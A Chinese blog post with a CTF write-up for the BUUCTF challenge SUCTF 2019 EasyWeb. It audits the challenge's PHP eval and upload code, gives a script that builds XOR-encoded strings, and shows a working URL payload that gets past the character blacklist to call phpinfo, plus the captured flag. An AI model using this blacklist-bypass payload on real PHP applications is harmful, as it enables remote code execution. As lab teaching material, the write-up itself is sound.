当前位置: 首页 > news >正文

141,【1】buuctf web [SUCTF 2019]EasyWeb

进入靶场

代码审计

<?php
// 定义函数get_the_flag,功能是处理文件上传相关操作
function get_the_flag() {// 注释说明:webadmin会每隔20分钟删除用户上传的文件$userdir = "upload/tmp_" . md5($_SERVER['REMOTE_ADDR']);// 检查用户目录是否存在,如果不存在则创建if (!file_exists($userdir)) {mkdir($userdir);}// 检查是否有文件上传if (!empty($_FILES["file"])) {$tmp_name = $_FILES["file"]["tmp_name"];  // 获取上传文件在服务器上的临时文件名$name = $_FILES["file"]["name"];  // 获取上传文件的原始文件名// 获取上传文件的扩展名$extension = substr($name, strrpos($name, ".") + 1);// 检查扩展名是否包含"ph"(不区分大小写),如果包含则终止脚本执行if (preg_match("/ph/i", $extension)) die("^_^");// 检查上传文件内容是否包含"<?", 如果包含则终止脚本执行if (mb_strpos(file_get_contents($tmp_name), '<?')!== False) die("^_^");// 检查上传文件是否是有效的图像类型,不是则终止脚本执行if (!exif_imagetype($tmp_name)) die("^_^");$path = $userdir. "/" . $name;  // 构建上传文件的目标路径// 尝试将上传文件从临时位置移动到目标位置@move_uploaded_file($tmp_name, $path);print_r($path);  // 打印文件的保存路径}
}// 从GET请求参数中获取名为"_"的参数值,并赋值给变量$hhh
$hhh = @$_GET['_'];// 如果$hhh没有值,高亮显示当前文件内容
if (!$hhh) {highlight_file(__FILE__);
}// 如果$hhh的长度大于18,终止脚本执行并输出提示信息
if (strlen($hhh) > 18) {die('One inch long, one inch strong!');
}// 使用正则表达式检查$hhh是否包含特定字符集(包括一些常见字符和控制字符等),如果包含则终止脚本执行
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh))die('Try something else!');// 获取$hhh中使用到的字符,并以字符形式返回
$character_type = count_chars($hhh, 3);
// 如果$character_type的长度大于12,终止脚本执行并输出提示信息
if (strlen($character_type) > 12) die("Almost there!");// 执行$hhh中的PHP代码,存在严重的代码执行漏洞风险
eval($hhh);
?>

 实现了文件上传功能,并对上传文件进行了一些限制和检查

条件好苛刻

<?php
// 初始化两个空字符串,用于存储生成的内容
$l = "";
$r = "";
// 将字符串_GET拆分成字符数组
$argv = str_split("_GET");
// 遍历字符数组中的每个字符
for ($i = 0; $i < count($argv); $i++) {// 遍历0到254的整数for ($j = 0; $j < 255; $j++) {// 将字符$j对应的ASCII码值与255进行按位异或操作,然后转换回字符$k = chr($j) ^ chr(255);// 如果异或结果与当前字符匹配if ($k == $argv[$i]) {// 如果$j小于16,在$r中添加十六进制表示时在前面补0if ($j < 16) {$l.= "%ff";$r.= "%0". dechex($j);continue;}$l.= "%ff";$r.= "%". dechex($j);continue;}}
}
// 输出包含$l、字符$和$r的字符串
echo "\{$l`$r\}";
?>

{%ff%ff%ff%ff`%a0%b8%ba%ab}

?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo 

flag{dc834348-3be9-4eff-abc1-150000430933} 

相关文章:

141,【1】buuctf web [SUCTF 2019]EasyWeb

进入靶场 代码审计 <?php // 定义函数get_the_flag&#xff0c;功能是处理文件上传相关操作 function get_the_flag() {// 注释说明&#xff1a;webadmin会每隔20分钟删除用户上传的文件$userdir "upload/tmp_" . md5($_SERVER[REMOTE_ADDR]);// 检查用户目录…...

破解微服务疑难杂症:2025年全解决方案

微服务架构已经成为现代软件开发的主流选择&#xff0c;其优势在于能够将复杂的系统拆分为独立的服务模块&#xff0c;方便开发和维护。然而&#xff0c;在微服务的实施过程中&#xff0c;开发者往往会面临许多挑战&#xff0c;如服务间通信、数据一致性、性能优化和故障处理等…...

Node.js 中的 Event 模块详解

Node.js 中的 Event 模块是实现事件驱动编程的核心模块。它基于观察者模式&#xff0c;允许对象&#xff08;称为“事件发射器”&#xff09;发布事件&#xff0c;而其他对象&#xff08;称为“事件监听器”&#xff09;可以订阅并响应这些事件。这种模式非常适合处理异步操作和…...

EasyRTC嵌入式WebRTC视频通话SDK支持Web浏览器、Linux、ARM、Android、iOS

随着互联网技术的飞速发展&#xff0c;实时通信&#xff08;RTC&#xff09;已经成为现代应用中不可或缺的一部分。无论是视频会议、在线教育、远程医疗&#xff0c;还是社交娱乐&#xff0c;实时通信技术都在其中扮演着重要角色。 然而&#xff0c;WebRTC技术在PC和移动端的支…...

pycharm社区版有个window和arm64版本,到底下载哪一个?还有pycharm官网

首先pycharm官网是这一个。我是在2025年2月16日9:57进入的网站。如果网站还没有更新的话&#xff0c;那么就往下滑一下找到 community Edition,这个就是社区版了免费的。PyCharm&#xff1a;适用于数据科学和 Web 开发的 Python IDE 适用于数据科学和 Web 开发的 Python IDE&am…...

【玩转全栈】----Django模板语法、请求与响应

目录 一、引言 二、模板语法 三、传参 1、视图函数到模板文件 2、模板文件到视图函数 四、引入静态文件 五、请求与响应 ?1、请求 2、响应 六、综合小案例 1、源码展示 2、注意事项以及部分解释 3、展示 一、引言 像之前那个页面&#xff0c;太过简陋&#xff0c;而且一个完整…...

网络安全:挑战、技术与未来发展

&#x1f4dd;个人主页&#x1f339;&#xff1a;一ge科研小菜鸡-CSDN博客 &#x1f339;&#x1f339;期待您的关注 &#x1f339;&#x1f339; 1. 引言 在数字化时代&#xff0c;网络安全&#xff08;Cybersecurity&#xff09;已成为全球关注的焦点。随着云计算、大数据、…...

DeepSeek 服务器繁忙的全面解决方案

目录 引文 正文 一、 服务器繁忙的原因分析 二、 解决方案 2.1切换网络 2.2使用网络加速工具 2.3错峰使用DeepSeek 2.4本地部署 2.5调用API 三、官方动态 一、技术研发与产品升级 二、市场合作与商业化进展 三、区域化布局与产业赋能 四、未来规划与社会责任 结语…...

将OpenWrt部署在x86服务器上

正文共&#xff1a;1234 字 40 图&#xff0c;预估阅读时间&#xff1a;2 分钟 如果你问ChatGPT有哪些开源的SD-WAN方案&#xff0c;他会这样答复你&#xff1a; 我们看到&#xff0c;OpenWrt也属于比较知名的开源SD-WAN解决方案。当然&#xff0c;在很久之前&#xff0c;我就发…...

计算机视觉:卷积神经网络(CNN)基本概念(一)

第一章&#xff1a;计算机视觉中图像的基础认知 第二章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(一) 第三章&#xff1a;计算机视觉&#xff1a;卷积神经网络(CNN)基本概念(二) 第四章&#xff1a;搭建一个经典的LeNet5神经网络 一、引言 卷积神经网络&…...

企业文件共享中的权限管理与安全风险防范

在企业的日常运营中&#xff0c;文件共享是必不可少的一项工作。然而&#xff0c;文件共享过程中如果权限管理不当&#xff0c;极易引发安全风险&#xff0c;导致企业敏感信息泄露。因此&#xff0c;加强文件共享中的权限管理与安全风险防范&#xff0c;对于保障企业信息安全至…...

使用DeepSeek建立一个智能聊天机器人0.12

为了确保这段代码能够在Windows和Linux系统上都能正常运行,我考虑以下几个方面: 路径分隔符:在Windows和Linux中,文件路径的分隔符不同。Windows使用反斜杠(\),而Linux使用正斜杠(/)。我们可以使用 os.path.join 来处理路径,以确保跨平台兼容性。 消息框:tkinter.…...

国家队出手!DeepSeek上线国家超算互联网平台!

目前,国家超算互联网平台已推出 DeepSeek – R1 模型的 1.5B、7B、8B、14B 版本,后续还会在近期更新 32B、70B 等版本。 DeepSeek太火爆了!在这个春节档,直接成了全民热议的话题。 DeepSeek也毫无悬念地干到了全球增速最快的AI应用。这几天,国内的云计算厂家都在支持Dee…...

Deep seek学习日记1

Deepseek最强大的就是它的深度思考&#xff0c;并且展现了它的思考过程。 五种可使用Deep seek的方式&#xff08;应该不限于这五种&#xff0c;后续嵌入deepseek的应该更多&#xff0c;多了解一点因为官网容易崩~~&#xff09;&#xff1a; 1.deep seek官网 2.硅基流动silicon…...

乐理笔记(持续更新)

单音与音程 单音&#xff1a;由一个音组成。 音程&#xff1a;由两个音组成&#xff0c;表示两个音之间的音高距离。 如何数音程&#xff1a; 单音程&#xff1a;9 - X&#xff0c;性质相反。例如&#xff0c;9度音程减去某个数&#xff0c;性质会相反。 复音程&#xff1a…...

【动态路由】系统Web URL资源整合系列(后端技术实现)【nodejs实现】

需求说明 软件功能需求&#xff1a;反向代理功能&#xff08;描述&#xff1a;apollo、eureka控、apisix、sentinel、普米、kibana、timetask、grafana、hbase、skywalking-ui、pinpoint、cmak界面、kafka-map、nacos、gateway、elasticsearch、 oa-portal 业务应用等多个web资…...

PHP高效、轻量级表格数据处理库 OpenSpout ,很好用

OpenSpout 是一个高效、轻量级的 PHP 库&#xff0c;用于处理电子表格文件&#xff08;如 Excel 和 CSV&#xff09;。它支持读取和写入大型文件&#xff0c;且内存占用低。本文将详细介绍如何安装和使用 OpenSpout。 目录 安装 基本使用 高级功能 参考文档 安装 OpenSp…...

2010年上半年软件设计师考试上午真题的知识点整理(附真题及答案解析)

以下是2010年上半年软件设计师考试上午真题的知识点分类整理&#xff0c;涉及定义的详细解释&#xff0c;供背诵记忆。 1. 计算机组成原理 CPU与存储器的访问。 Cache的作用: 提高CPU访问主存数据的速度&#xff0c;减少访问延迟。存储器的层次结构: 包括寄存器、Cache、主存和…...

EventSource的使用

什么是EventSource EventSource 是一个用于服务器推送事件&#xff08;Server-Sent Events, SSE&#xff09;的接口&#xff0c;它允许服务器推送实时更新到浏览器。与 WebSocket 不同&#xff0c;SSE 是单向的&#xff08;服务器到客户端&#xff09;&#xff0c;适用于更新频…...

【第12章:深度学习与伦理、隐私—12.3 深度学习模型的透明性与可解释性提升策略】

凌晨三点的ICU病房,AI辅助诊断系统将一位患者的肺炎误判为普通感冒——当主治医生要求查看诊断依据时,系统只能给出冷冰冰的概率数值。这场惊心动魄的误诊事件,掀开了深度学习可解释性危机的冰山一角。 一、模型透明的"第一性原理" 1.1 可解释性的三维度量 ![可…...

OpenClaw插件实战:基于Pub/Sub与Events API实现Google Chat AI智能体集成

1. 项目概述 最近在折腾一个挺有意思的东西&#xff0c;叫 teyou/openclaw-googlechatpubsub-plugin 。简单来说&#xff0c;这是一个为 OpenClaw 这个 AI 智能体平台开发的插件&#xff0c;它的核心功能是让 AI 智能体能够无缝接入 Google Chat&#xff08;谷歌聊天&#x…...

别再被btoa坑了!手把手教你用JavaScript正确处理中文Base64编码(附完整代码)

JavaScript中文Base64编码全攻略&#xff1a;从报错到完美解决方案 最近在调试一个用户上传功能时&#xff0c;遇到了一个令人头疼的问题——当用户输入中文文件名时&#xff0c;前端使用btoa进行Base64编码后&#xff0c;控制台突然抛出错误。相信不少开发者都踩过这个坑&…...

通达信缠论插件:3步实现自动化技术分析,告别手工画线烦恼

通达信缠论插件&#xff1a;3步实现自动化技术分析&#xff0c;告别手工画线烦恼 【免费下载链接】ChanlunX 缠中说禅炒股缠论可视化插件 项目地址: https://gitcode.com/gh_mirrors/ch/ChanlunX 你是否还在为缠论分析中繁琐的笔段划分而头疼&#xff1f;面对复杂的K线走…...

零基础吃透 Java 面向对象:类、对象、this 与 static 实战

Java 面向对象基础&#xff1a;类与对象一、章节整体框架本章共六大核心模块&#xff0c;由浅入深构建面向对象知识体系&#xff1a;1. 面向对象概述2. 类的定义3. 对象的创建与使用4. 方法重载5. this 关键字6. static 关键字本章内容是后续封装、继承、多态的基础。二、面向对…...

React声明式数据表格方案:基于Schema与适配器的企业级实践

1. 项目概述&#xff1a;一个为现代React应用而生的声明式数据表格方案 如果你正在用React构建一个需要复杂数据展示和交互的后台管理系统、监控面板或者数据分析工具&#xff0c;那么“如何优雅地实现一个功能强大的数据表格”这个问题&#xff0c;大概率已经让你头疼过不止一…...

9块9的合宙1.8寸ST7735S彩屏,用ESP32C3驱动避坑全记录(附代码)

9块9的合宙1.8寸ST7735S彩屏ESP32C3驱动实战指南 这块来自合宙的1.8寸ST7735S彩屏最近在创客圈小火了一把——9.9元的价格几乎只有同类产品的一半&#xff0c;但驱动过程中遇到的坑却一点不少。作为同时拥有合宙和中景园两款屏幕的实战派&#xff0c;我将分享如何用ESP32C3完美…...

LinkSwift 技术架构深度解析:八大网盘直链下载助手的实现原理与实战指南

LinkSwift 技术架构深度解析&#xff1a;八大网盘直链下载助手的实现原理与实战指南 【免费下载链接】Online-disk-direct-link-download-assistant 一个基于 JavaScript 的网盘文件下载地址获取工具。基于【网盘直链下载助手】修改 &#xff0c;支持 百度网盘 / 阿里云盘 / 中…...

KL散度近似计算与Dropout扰动优化实践

1. 理解KL散度的本质与应用场景KL散度&#xff08;Kullback-Leibler Divergence&#xff09;作为衡量两个概率分布差异的重要工具&#xff0c;在机器学习领域扮演着关键角色。我第一次接触这个概念是在研究变分自编码器(VAE)时&#xff0c;当时对如何量化潜在空间分布与目标分布…...

如何在老旧Android设备上实现流畅的电视直播播放体验

如何在老旧Android设备上实现流畅的电视直播播放体验 【免费下载链接】mytv-android 使用Android原生开发的电视直播软件 项目地址: https://gitcode.com/gh_mirrors/myt/mytv-android 如果你曾经在低配置的Android电视或机顶盒上尝试观看高清直播&#xff0c;可能会遇到…...

全球AI大模型「西方垃圾思维中毒度」TOP30争议与共识:一场认知去殖民化的深度对话

全球AI大模型「西方垃圾思维中毒度」TOP30争议与共识&#xff1a;一场认知去殖民化的深度对话摘要2026年5月发布的《全球AI大模型「西方垃圾思维中毒度」TOP30》引发深度对话。文章评分显示&#xff0c;国产头部AI模型因狂热崇拜波普尔证伪主义、西方期刊权威及认知标尺外包&am…...